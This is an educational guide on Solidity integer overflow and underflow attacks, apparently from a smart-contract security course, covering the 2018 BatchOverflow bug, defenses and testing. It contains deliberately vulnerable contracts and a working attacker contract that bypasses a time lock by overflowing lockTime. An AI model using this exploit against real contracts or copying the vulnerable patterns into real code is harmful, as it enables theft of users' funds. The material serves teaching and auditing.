Arithmetic Overflow & Underflow Attacks
How the attack works and how to prevent it
Solidity Integer Overflows and Underflows: Mechanics and Prevention
Integer overflow and underflow attacks have drained over $1 billion from Decentralized Finance (DeFi) protocols and web3 projects. In April 2018, a single line of vulnerable code allowed hackers to mint infinite tokens out of thin air - crashing exchanges and wiping out entire projects overnight.
Solidity developers and auditors need to understand how bounded integers behave, especially in legacy code and modern unchecked blocks.
This guide explains integer wrapping, the BatchOverflow bug, vulnerable Solidity patterns, and current prevention and testing techniques.
What is an integer overflow/underflow attack?
An integer overflow or underflow attack occurs when an arithmetic operation produces a value that exceeds the storage capacity of the data type (like a uint256), causing an unexpected "wrapping" behavior that attackers can aggressively exploit.
-
Overflow: When a calculation exceeds the maximum allowed value, the number "wraps around" back to zero.
-
Underflow: When it drops below zero (for unsigned integers), it wraps back around to the maximum possible value.
In smart contracts, unexpected wrapping can let users bypass balance checks, manipulate time locks, or interfere with access control logic.
The odometer analogy
Think of an old car odometer with only 6 digits.
When it reaches 999,999 miles and you drive one more mile, it doesn't show 1,000,000 - it wraps around to 000,000. Now it looks like a brand-new car with zero miles.
That is exactly what integer overflow does. A uint8 variable holding 255 plus 1 doesn't become 256, it wraps to 0.
Underflow is the reverse: subtracting 1 from 0 wraps to the maximum value, 255 for a uint8. Picture the same odometer rolling backward from 000,000 to 999,999.

Why integer overflow still matters in audits
Integer overflow vulnerabilities have affected deployed token and protocol code:
| Attack | Year | Impact |
|---|---|---|
| BatchOverflow (BEC, SMT) | 2018 | $1B+ market cap wiped |
| PoWHC | 2018 | 866 ETH stolen |
| DeFi Lending Exploits | 2019-2020 | Multiple protocols drained |
Before Solidity 0.8.0, every arithmetic operation was a potential exploit vector. Developers had to protect each calculation by hand, and missing one was enough.
Why legacy wrapping was easy to miss
Overflow attacks were dangerous because they were silent, not because they were complicated.
In pre-0.8.0 Solidity versions, arithmetic overflows didn't throw errors or revert transactions. The math simply wrapped around, and the code kept chugging along as if everything was perfectly normal.
Before Solidity 0.8.0, these operations produced no warning or revert unless the contract added its own checks.
The BatchOverflow bug
The BatchOverflow bug demonstrated how unchecked multiplication could invalidate a balance check.
The discovery: April 2018
Security researchers discovered a critical flaw in multiple ERC-20 token contracts.
A single line of unprotected multiplication allowed attackers to mint unlimited tokens from thin air.
Reported impact:
-
BeautyChain (BEC): $900 million market cap evaporated
-
SmartMesh (SMT): Trading suspended, severe losses
-
30+ ERC-20 tokens: Confirmed vulnerable
-
Multiple exchanges: Forced emergency suspensions
The vulnerable code
The fatal flaw lived in a batchTransfer function:
// VULNERABLE - The actual code that lost $1 billion
function batchTransfer(address[] _receivers, uint256 _value) public {
uint256 cnt = _receivers.length;
uint256 amount = uint256(cnt) * _value; // ⚠️ NO OVERFLOW CHECK
require(amount <= balances[msg.sender]);
for (uint i = 0; i < cnt; i++) {
balances[_receivers[i]] += _value;
}
balances[msg.sender] -= amount;
}
The exploit: creating money from nothing
Attackers called batchTransfer with carefully crafted values:
-
_receivers: array with 2 addresses -
_value:2^255(half of uint256 max)
The math: 2 * 2^255 = 2^256
But uint256 can only hold values up to 2^256 - 1, so 2^256 overflows to 0.
| Step | What Happens |
|---|---|
| 1 | amount = 2 * 2^255 = 0 (overflow!) |
| 2 | require(0 <= balance) ✅ passes |
| 3 | Each receiver gets 2^255 tokens |
| 4 | Sender loses 0 tokens |
| 5 | Unlimited tokens created from nothing |
The attacker broke no rule the contract enforced. They used the code exactly as written, which is the whole problem with "code is law" when the code is wrong.
The BatchOverflow bug proved that in pre-0.8.0 Solidity, every arithmetic operation was a potential exploit vector. One missed check was all it took.
{
"title": "🎬 BatchOverflow: minting $1B of tokens from nothing",
"stage": { "width": 860, "height": 420 },
"nodes": [
{ "id": "attacker", "label": "Attacker EOA", "role": "crafts the call", "emoji": "🧑💻", "x": 40, "y": 170, "color": "red" },
{ "id": "token", "label": "Token Contract", "role": "batchTransfer()", "emoji": "🪙", "x": 330, "y": 170, "color": "cyan" },
{ "id": "w1", "label": "Wallet A", "role": "attacker-owned", "emoji": "👛", "x": 640, "y": 50, "color": "purple" },
{ "id": "w2", "label": "Wallet B", "role": "attacker-owned", "emoji": "👛", "x": 640, "y": 300, "color": "purple" }
],
"links": [
{ "from": "attacker", "to": "token" },
{ "from": "token", "to": "w1" },
{ "from": "token", "to": "w2" }
],
"nets": [
{ "id": "supply", "label": "Tokens Minted" },
{ "id": "sender", "label": "Attacker's Tokens Spent" }
],
"legend": [
{ "cls": "call", "label": "contract call" },
{ "cls": "token", "label": "token credit" },
{ "cls": "sig", "label": "overflow / state write" },
{ "cls": "fail", "label": "reverted / blocked" }
],
"scenarios": {
"Vulnerable (pre-0.8.0)": [
{ "note": "Attacker calls <b>batchTransfer([A, B], 2²⁵⁵)</b>, with two receivers each set to get 2²⁵⁵ tokens. The attacker holds <b>0</b> real tokens.", "hi": ["attacker", "token"], "bal": { "attacker": "0", "w1": "0", "w2": "0" }, "net": { "supply": "0", "sender": "0" }, "chip": { "from": "attacker", "to": "token", "label": "📞 batchTransfer", "cls": "call" } },
{ "note": "The contract computes <b>amount = 2 × 2²⁵⁵ = 2²⁵⁶</b>. But uint256 maxes out at 2²⁵⁶−1, so the multiplication <b>silently overflows to 0</b>.", "tone": "bad", "hi": ["token"], "chip": { "from": "token", "to": "token", "label": "amount = 0 💥", "cls": "sig" } },
{ "note": "The one guard, <b>require(amount ≤ balance)</b>, is now <b>require(0 ≤ 0)</b>, so it passes. The check no longer rejects the transfer.", "tone": "bad", "hi": ["token"], "chip": { "from": "token", "to": "token", "label": "require(0 ≤ 0) ✓", "cls": "sig" } },
{ "note": "The loop credits <b>2²⁵⁵ tokens</b> to Wallet A…", "tone": "bad", "hi": ["token", "w1"], "bal": { "w1": "2²⁵⁵" }, "net": { "supply": "2²⁵⁵" }, "chip": { "from": "token", "to": "w1", "label": "+2²⁵⁵", "cls": "token" } },
{ "note": "…and <b>2²⁵⁵ tokens</b> to Wallet B. The sender is debited <b>amount = 0</b>, so the attacker spent nothing for ~2²⁵⁶ tokens.", "tone": "bad", "hi": ["token", "w2"], "bal": { "w2": "2²⁵⁵" }, "net": { "supply": "2²⁵⁶ (≈ ∞)", "sender": "0" }, "chip": { "from": "token", "to": "w2", "label": "+2²⁵⁵", "cls": "token" } }
],
"Fixed (0.8+ / SafeMath)": [
{ "note": "Same call: <b>batchTransfer([A, B], 2²⁵⁵)</b>.", "hi": ["attacker", "token"], "bal": { "attacker": "0", "w1": "0", "w2": "0" }, "net": { "supply": "0", "sender": "0" }, "chip": { "from": "attacker", "to": "token", "label": "📞 batchTransfer", "cls": "call" } },
{ "note": "<b>2 × 2²⁵⁵</b> still exceeds uint256, but Solidity 0.8+ (or SafeMath's <code>.mul()</code>) <b>detects it and reverts</b> the entire transaction.", "tone": "ok", "hi": ["token"], "chip": { "from": "token", "to": "token", "label": "revert ✋", "cls": "fail" } },
{ "note": "No tokens are minted. The exact overflow that printed $1B is now a hard error instead of a silent wrap.", "tone": "ok", "hi": ["token"], "net": { "supply": "0", "sender": "0" } }
]
}
}
The aftermath
BatchOverflow helped demonstrate the need for checked arithmetic by default, which Solidity introduced in version 0.8.0.
Two years later, Solidity 0.8.0 finally shipped with built-in overflow protection - making this entire class of vulnerabilities significantly harder to execute.
Legacy contracts still use older compiler behavior, and modern code can reintroduce wrapping through unchecked blocks or low-level arithmetic.
The Smart Contract Hacking course includes a hands-on module on arithmetic overflows and underflows, with exercises that reproduce the vulnerable behavior locally.
How integer overflow attacks work, step by step
Every overflow bug starts with a type whose range is smaller than the values a caller can reach, so the type table below is where an audit begins.
Solidity integer types and their limits
| Type | Bits | Min Value | Max Value |
|---|---|---|---|
uint8 |
8 | 0 | 255 |
uint16 |
16 | 0 | 65,535 |
uint256 |
256 | 0 | ~1.16 × 10^77 |
int8 |
8 | -128 | 127 |
int256 |
256 | -2^255 | 2^255 - 1 |
The attack flow: time lock bypass example
| Step | Action | Result |
|---|---|---|
| 1 | Attacker deposits 1 ETH | lockTime = now + 1 week |
| 2 | Attacker calculates overflow value | overflow = MAX_UINT - lockTime + 1 |
| 3 | Attacker calls increaseLockTime(overflow) |
lockTime wraps to 0 |
| 4 | Attacker calls withdraw() |
Check passes: now > 0 ✅ |
| 5 | Funds withdrawn immediately | 1-week lock bypassed |
The attacker deposits 1 ETH into the time-locked contract. Their funds are locked for 1 week: lockTime = now + 1 week.
The attacker computes: MAX_UINT - lockTime + 1. This is the exact value needed to make lockTime wrap around to zero when added.
Call increaseLockTime(overflowValue). The addition overflows, wrapping lockTime to 0. The 1-week lock is instantly bypassed.
Call withdraw(). The check now > 0 passes easily. Funds are withdrawn without waiting a single second.

Pre-0.8.0 vs 0.8.0+ behavior
| Scenario | Pre-0.8.0 (Vulnerable) | 0.8.0+ (Protected) |
|---|---|---|
255 + 1 (uint8) |
Returns 0 silently |
Reverts transaction |
0 - 1 (uint8) |
Returns 255 silently |
Reverts transaction |
| Detection | None - execution continues | Automatic revert |
| Developer burden | Must use SafeMath | Protected by default |
The pragma line therefore decides the verdict. The same source that is safe under 0.8.0 is exploitable when compiled with 0.7.6, so read the version before you read the arithmetic.
Four common attack patterns
-
Token balance manipulation. Overflow addition in transfers to mint unlimited tokens.
-
Time lock bypass. Overflow time calculations to reset lock periods to zero or past dates.
-
Access control bypass. Underflow counters to bypass rate limits or authentication checks.
-
Reward calculation exploits. Overflow multiplication in staking rewards to drain protocol treasuries.
Vulnerable code example: integer overflow time lock bypass
This contract demonstrates a classic time lock vulnerability exploitable through integer overflow.
Warning: This contract is intentionally vulnerable. Never deploy code like this.
// VULNERABLE CONTRACT - DO NOT USE IN PRODUCTION
// Compiled with Solidity ^0.7.6 (no overflow protection)
pragma solidity ^0.7.6;
contract VulnerableTimeLock {
mapping(address => uint256) public balances;
mapping(address => uint256) public lockTime;
function deposit() external payable {
balances[msg.sender] += msg.value;
lockTime[msg.sender] = block.timestamp + 1 weeks;
}
// ⚠️ VULNERABILITY: No overflow protection!
// Attacker can overflow lockTime to bypass the 1-week lock
function increaseLockTime(uint256 _secondsToIncrease) public {
lockTime[msg.sender] += _secondsToIncrease;
}
function withdraw() public {
require(balances[msg.sender] > 0, "No funds");
require(block.timestamp > lockTime[msg.sender], "Still locked");
uint256 amount = balances[msg.sender];
balances[msg.sender] = 0;
(bool sent, ) = msg.sender.call{value: amount}("");
require(sent, "Transfer failed");
}
}
Why is this vulnerable?
The increaseLockTime function has no bounds checking:
-
❌ No maximum limit on
_secondsToIncrease -
❌ No overflow protection on addition
-
❌ Attacker controls the input value completely
-
❌ Pre-0.8.0 Solidity wraps silently on overflow
The math: if lockTime = 1,700,000,000 and the attacker adds type(uint256).max - 1,700,000,000 + 1, the result wraps to 0.
Attacker contract example: exploiting the time lock
Here's how an attacker exploits the vulnerable contract to instantly withdraw locked funds.
// ATTACKER CONTRACT - Educational purposes only
pragma solidity ^0.7.6;
interface IVulnerableTimeLock {
function deposit() external payable;
function increaseLockTime(uint256) external;
function withdraw() external;
function lockTime(address) external view returns (uint256);
}
contract TimeLockAttacker {
IVulnerableTimeLock public target;
constructor(address _target) {
target = IVulnerableTimeLock(_target);
}
// Receive ETH when withdrawing
receive() external payable {}
function attack() public payable {
require(msg.value >= 1 ether, "Need ETH to deposit");
// Step 1: Deposit funds (locked for 1 week)
target.deposit{value: msg.value}();
// Step 2: Get current lock time
uint256 currentLock = target.lockTime(address(this));
// Step 3: Calculate overflow value
// We want: currentLock + overflow = 2^256 (wraps to 0)
// overflow = 2^256 - currentLock = MAX_UINT - currentLock + 1
uint256 overflowValue = type(uint256).max - currentLock + 1;
// Step 4: Trigger the overflow
target.increaseLockTime(overflowValue);
// Step 5: Withdraw immediately (lockTime is now 0)
target.withdraw();
// Step 6: Send stolen funds to attacker
payable(msg.sender).transfer(address(this).balance);
}
}
Attack execution summary
| Step | Action | State Change |
|---|---|---|
| 1 | Deposit 1 ETH | lockTime = now + 1 week |
| 2 | Read lockTime |
Know exact value to overflow |
| 3 | Calculate overflow | MAX_UINT - lockTime + 1 |
| 4 | Call increaseLockTime |
lockTime wraps to 0 |
| 5 | Call withdraw |
now > 0 passes ✅ |
| 6 | Receive funds | Attack complete |
Note that all six steps run inside one transaction. The attacker never waits out any part of the lock.
How to prevent integer overflow and underflow attacks
Three layers matter here, in this order: the compiler version, the arithmetic you opt out of, and the bounds your business logic enforces regardless.
What it does: Built-in overflow/underflow protection that automatically reverts on wrap-around. No library imports needed.
When to use: New Solidity contracts should use checked arithmetic unless a bounded invariant justifies an unchecked operation.
Limitation: Can be bypassed with unchecked blocks. Legacy contracts still use pre-0.8.0.
What it does: OpenZeppelin library that wraps arithmetic operations with overflow checks using .add(), .sub(), .mul().
When to use: Any pre-0.8.0 contract that cannot be upgraded. Essential for legacy code.
Limitation: Higher gas costs. Developers must remember to use SafeMath for every operation - miss one and you're vulnerable.
What it does: Adds meaningful constraints like MAX_LOCK_EXTENSION = 365 days to prevent unreasonable values.
When to use: Always, as an additional layer even with 0.8.0+ protection. Defense in depth.
Limitation: Doesn't protect against overflow directly - complements compiler protection by constraining inputs.
1. Use Solidity 0.8.0 or later (primary defense)
This is the single most effective protection against overflow attacks.
| Feature | Pre-0.8.0 | 0.8.0+ |
|---|---|---|
| Default behavior | Wraps silently | Reverts automatically |
| Developer action | Must use SafeMath | Nothing - protected by default |
| Gas cost | Higher (library calls) | Lower (optimized opcodes) |
// SECURE - Solidity 0.8.0+ automatically reverts on overflow
pragma solidity ^0.8.0;
contract SecureContract {
function safeAdd(uint256 a, uint256 b) public pure returns (uint256) {
return a + b; // ✅ Automatically reverts if overflow
}
}
2. Use SafeMath for legacy contracts (pre-0.8.0)
If you can't upgrade, OpenZeppelin's SafeMath is essential:
// For contracts that MUST use pre-0.8.0 Solidity
pragma solidity ^0.7.6;
import "@openzeppelin/contracts/math/SafeMath.sol";
contract LegacySecure {
using SafeMath for uint256;
function transfer(uint256 amount) public {
balance = balance.sub(amount); // ✅ Reverts on underflow
}
}
3. Minimize unchecked block usage
Solidity 0.8+ allows disabling overflow protection for gas optimization. Use it with extreme caution:
// ✅ SAFE: Loop counter cannot realistically overflow
unchecked {
for (uint256 i = 0; i < arr.length; ++i) {
// i cannot overflow with realistic array sizes
}
}
// ❌ DANGEROUS: User input in unchecked block
unchecked {
balance += userInput; // ⚠️ VULNERABLE!
}
Safe unchecked use cases:
-
Loop counters with bounded iterations
-
Post-validated subtractions (
a - bafter confirminga > b)
Never use unchecked with:
-
User-supplied values
-
Balance calculations
-
Token transfers
-
Time-based logic
4. Add business logic validation
Even with overflow protection, add meaningful constraints:
uint256 public constant MAX_LOCK_EXTENSION = 365 days;
function increaseLockTime(uint256 _seconds) public {
require(_seconds <= MAX_LOCK_EXTENSION, "Too long");
lockTime[msg.sender] += _seconds; // Protected + validated
}
5. Test arithmetic boundaries
Test boundary conditions explicitly:
function testOverflowReverts() public {
vm.expectRevert(); // Should revert on overflow
contract.add(type(uint256).max, 1);
}
function testUnderflowReverts() public {
vm.expectRevert(); // Should revert on underflow
contract.subtract(0, 1);
}
6. Security audits and static analysis
-
Slither: Detects overflow patterns automatically
-
Mythril: Symbolic execution finds edge cases
-
Professional audits: Essential before mainnet deployment
Secure code example: overflow-protected smart contract
The following example combines checked arithmetic with business-level bounds. Adapt the limits and test protocol invariants before production use.
// DEFENSIVE EXAMPLE - adapt and audit before production use
pragma solidity ^0.8.0;
contract SecureTimeLock {
mapping(address => uint256) public balances;
mapping(address => uint256) public lockTime;
// STEP 1: CONSTANTS - Business logic limits
uint256 public constant MAX_LOCK_EXTENSION = 365 days;
uint256 public constant DEFAULT_LOCK = 1 weeks;
event Deposited(address indexed user, uint256 amount);
event LockExtended(address indexed user, uint256 newUnlockTime);
event Withdrawn(address indexed user, uint256 amount);
function deposit() external payable {
require(msg.value > 0, "Must deposit > 0");
// ✅ Automatic overflow protection
balances[msg.sender] += msg.value;
lockTime[msg.sender] = block.timestamp + DEFAULT_LOCK;
emit Deposited(msg.sender, msg.value);
}
function increaseLockTime(uint256 _seconds) public {
require(lockTime[msg.sender] > 0, "No active lock");
// STEP 2: VALIDATION - Business logic constraint
require(_seconds <= MAX_LOCK_EXTENSION, "Exceeds max extension");
// ✅ Built-in protection reverts on overflow
lockTime[msg.sender] += _seconds;
emit LockExtended(msg.sender, lockTime[msg.sender]);
}
function withdraw() public {
uint256 amount = balances[msg.sender];
// STEP 3: CHECKS
require(amount > 0, "No funds");
require(block.timestamp > lockTime[msg.sender], "Still locked");
// STEP 4: EFFECTS - Update state BEFORE external call
balances[msg.sender] = 0;
lockTime[msg.sender] = 0;
// STEP 5: INTERACTIONS - External call last
(bool success, ) = msg.sender.call{value: amount}("");
require(success, "Transfer failed");
emit Withdrawn(msg.sender, amount);
}
}
Security features summary
| Protection | Implementation |
|---|---|
| Overflow protection | Solidity 0.8.0+ (automatic) |
| Business logic | MAX_LOCK_EXTENSION constant |
| Input validation | require statements |
| CEI pattern | State updated before external call |
| Transparency | Events for all state changes |
Applied to batchTransfer, the same two controls (checked multiplication plus a bound on the per-call amount) would have stopped the BatchOverflow mint at the first arithmetic step.
SafeMath vs Solidity 0.8+: complete comparison
Understanding both approaches is essential for auditing contracts across different compiler versions.
SafeMath (pre-0.8.0)
using SafeMath for uint256;
function transfer(uint256 amount) public {
balances[msg.sender] = balances[msg.sender].sub(amount);
balances[to] = balances[to].add(amount);
}
Solidity 0.8+ built-in
function transfer(uint256 amount) public {
balances[msg.sender] -= amount; // Protected automatically
balances[to] += amount; // Protected automatically
}
Comparison table
| Feature | SafeMath | Solidity 0.8+ |
|---|---|---|
| Syntax | .add(), .sub() |
+, - |
| Gas cost | ~200 per operation | ~20-40 per operation |
| Default | Opt-in (must import) | Opt-out (unchecked) |
| Code clarity | Verbose | Clean |
| Audit ease | Medium | Easy |
For new contracts, use Solidity 0.8+. SafeMath is worth knowing anyway, because you will meet it in legacy code under audit.
Pre-0.8.0 Without SafeMath
Arithmetic wraps silently. No warnings, no reverts. Every calculation is an exploit vector. This is how the BatchOverflow bug created $1B in fake tokens.
Pre-0.8.0 with SafeMath
SafeMath library catches overflows but requires explicit use for every operation. Higher gas costs and verbose syntax. Miss one call and you're exposed.
Solidity 0.8.0+
Built-in overflow protection by default. Lower gas costs than SafeMath. Clean native syntax. Only disabled explicitly via unchecked blocks.
Advanced variations: beyond basic overflow
As smart contracts become more complex, so do overflow attack vectors.
1. Multiplication overflow
Multiplication grows faster than addition, making it particularly dangerous:
// VULNERABLE: amount * price can overflow
uint256 totalCost = amount * pricePerUnit;
// SECURE: Check before multiplication
require(amount <= type(uint256).max / pricePerUnit, "Overflow");
uint256 totalCost = amount * pricePerUnit;
2. Cross-contract overflow
Vulnerabilities spanning multiple contracts:
-
Contract A calculates reward amounts
-
Contract B receives and distributes rewards
-
Overflow in Contract A passes invalid values to Contract B
3. Oracle data overflow
External data sources can introduce overflow:
// VULNERABLE: Oracle could return malicious values
uint256 price = oracle.getPrice();
uint256 value = userBalance * price; // Could overflow
4. ERC-20 batch operations
The BatchOverflow pattern remains relevant in any batch operation:
// DANGEROUS PATTERN - Always validate batch calculations
uint256 total = recipients.length * amountEach; // ⚠️
5. Time-based overflow
Timestamp calculations with large durations:
// VULNERABLE: What if lockDuration is MAX_UINT?
unlockTime = block.timestamp + lockDuration;
// SECURE: Add bounds
require(lockDuration <= 10 years, "Too long");
Related vulnerabilities
While Solidity 0.8+ checks arithmetic by default, oracle manipulation attacks can still supply unexpectedly large values. Validate oracle data before using it in arithmetic operations.
Overflow vulnerabilities also relate to flash loan attacks, where large temporary balances can reach arithmetic edge cases in reward calculations, fee computations, or share-price formulas.
Common misconceptions
"Solidity 0.8+ makes overflow attacks impossible."
Tap to revealDevelopers can disable protection using unchecked blocks for gas optimization. Any arithmetic inside unchecked with user-supplied values reintroduces the vulnerability.
"SafeMath is still needed in Solidity 0.8+."
Tap to revealSolidity 0.8+ has built-in overflow protection that's more gas-efficient than SafeMath. However, understanding SafeMath remains important for auditing legacy contracts.
"Integer overflow is no longer a real threat."
Tap to revealBillions of dollars remain locked in legacy contracts compiled with pre-0.8.0 Solidity. Plus, unchecked blocks in modern contracts can reintroduce vulnerabilities.
"Only addition and subtraction can overflow."
Tap to revealMultiplication overflow is actually the most dangerous - it grows exponentially faster. The BatchOverflow bug used 2 * 2^255 (multiplication) to create $1B in fake tokens.
Test your overflow knowledge
5 questions - Can you spot the arithmetic danger?
Frequently asked questions about integer overflow attacks
An integer overflow attack exploits the fact that numbers have maximum values. When you exceed that maximum, the number "wraps around" to zero - like an odometer rolling over. Attackers use this to bypass security checks, mint unlimited tokens, or withdraw locked funds.
No. Solidity 0.8+ has built-in overflow protection that's more gas-efficient than SafeMath. However, understanding SafeMath is still important for auditing older contracts and understanding why unchecked blocks are dangerous.
Yes - if developers use unchecked blocks incorrectly. The built-in protection can be disabled for gas optimization, reintroducing vulnerabilities. Also, billions of dollars remain locked in legacy pre-0.8.0 contracts.
Overflow: Adding past the maximum wraps to zero (255 + 1 = 0). Underflow: Subtracting past zero wraps to maximum (0 - 1 = 255). Both exploit the same wrapping behavior, just in opposite directions.
Check the Solidity version (pre-0.8.0 is suspicious), search for unchecked blocks, review arithmetic with user inputs (especially multiplication), use static analysis tools like Slither and Mythril, and fuzz test boundary values.
Quick reference: overflow prevention checklist
Before deploying any contract with arithmetic operations:
-
Use Solidity 0.8.0+ for automatic overflow protection
-
Review all
uncheckedblocks - each needs documented safety justification -
Add business logic limits (max values, reasonable bounds)
-
Validate all user inputs before arithmetic operations
-
Test boundary values - MAX_UINT, 0, near-boundary cases
-
Run static analysis - Slither, Mythril, Securify
-
Get professional audit before mainnet deployment
-
Monitor for suspicious transactions post-deployment
-
Implement emergency pause for rapid response
Where overflow still hides in 2026 code
Checked arithmetic by default removed the accidental version of this bug, so what remains is deliberate: unchecked blocks, narrowing casts such as uint256 to uint128, raw assembly, and contracts still pinned below 0.8.0. Those four places are where an audit should spend its time.
The test that catches the rest is a boundary test. Assert that each arithmetic path behaves at 0, at type(uint256).max, and at whatever protocol-specific ceiling the accounting assumes.
Practice arithmetic review
The Smart Contract Hacking course includes hands-on exercises for finding and fixing arithmetic vulnerabilities.
Sources and editorial notes
Reviewed by JohnnyTime. Last updated .
Real Arithmetic Overflow & Underflow Attacks hacks to study
A stable selection of high-signal incidents linked to this attack class, ordered by reported loss and recency.
Master Arithmetic Overflow & Underflow Attacks in a safe lab
Practice the exploit path, debug the vulnerable code, and learn the prevention workflow auditors use in real reviews.